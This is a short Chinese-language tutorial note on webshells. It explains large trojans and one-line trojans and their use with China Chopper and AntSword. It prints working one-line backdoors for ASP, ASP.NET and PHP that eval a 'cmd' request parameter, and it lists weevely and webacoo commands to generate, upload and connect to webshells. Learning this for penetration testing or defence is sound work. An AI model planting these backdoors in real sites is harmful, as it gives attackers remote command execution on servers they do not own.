8-WebShell总结
WebShell
1.webshell介绍
在计算机科学中,Shell 俗称壳(用来区别“核”),是指“为使用者提供操作界面”的软件(命令解释器)。类似于windows 系统给的cmd.exe 或者Linux 下bash 等,虽然这些系统的命令解释器不止一种。
WebShell 是一个网站的后门,也是一个命令解释器,不过是以Web 方式(HTTP 协议)通信(传递命令消息),继承了Web 用户的权限。WebShell 本质上是服务器端可运行的脚本文件,后缀名为.php/.asp/.aspx/.jsp 等,也就是说WebShell 接受来自于Web 用的命令,然后在服务器端执行。
大马
WebShell 也可以是大马,也就是网站木马。有一类WebShell 之所以叫大马,是因为与小马(一句话木马)区分开,并且代码量较大,但是功能丰富。同样,大马又很多脚本格式,其功能基本相同。每个团队都有自己的定制木马。
在大马中,我们可以进行文件管理,执行系统命令等,还有一些其他定制功能。
小马
小马就是一句话木马,因为其代码量比较小,就是一句简单的代码。以下是各个脚本的一句话
ASP: <%eval request("cmd")%> ASP.NET: <%@ Page Language="Jscript"%> <%eval(request.Item["cmd"],"unsafe");%> PHP: <?php @eval($_REQUEST['cmd']);?>
JSP 和 jspx 的一句话木马比较复杂一些
一句话木马短小精悍,功能强大,但是需要配合中国菜刀或者中国蚁剑客户端使用,中国菜刀是一句话木马的管理器,也是命令操作接口。中国菜刀在连接一句话木马的时候需要填写密码(实际上就是变量名)。例如,我们上传一个php 的一句话木马,密码就是[cmd]。
中国菜刀与一句话木马配合实现了三大基本功能
文件管理
在中国菜刀页面继承Web 用户权限可以实现文件管理,包括文件查看、上传、下载、修改、删除甚至运行exe 程序等
虚拟终端
在中国菜刀下可以获得cmd 和 bash 的命令行接口,可以执行相关命令。
数据库管理
我们可以使用中国菜刀进行数据库管理,此时需要知道连接数据库的账密。以MYSQL 为例
<T>MYSQL</T> //数据库类型
<H>localhost</H> //数据地址
<U>root</U> //数据库用户
<P>root</P> //数据库密码
<L>utf-8</L> //数据库编码
2.GetShell
GetShell ,顾名思义就是获取web 的过程。当然任意文件上传是GetShell 的主要方式,但并不是唯一途径
3.生成木马方式
3.1 weevely生成木马
1、生成:weevely generate 密码 路径 文件名
2、上传
3、连接:weevely shell文件地址 密码
3.2 webacoo生成木马
WeBaCoo生成Webshell: webacoo -g -o a.php
上传Webshell
连接Webshell:webacoo -t -u Webshell地址
3. 3上传第三方木马
3.4 生成图片木马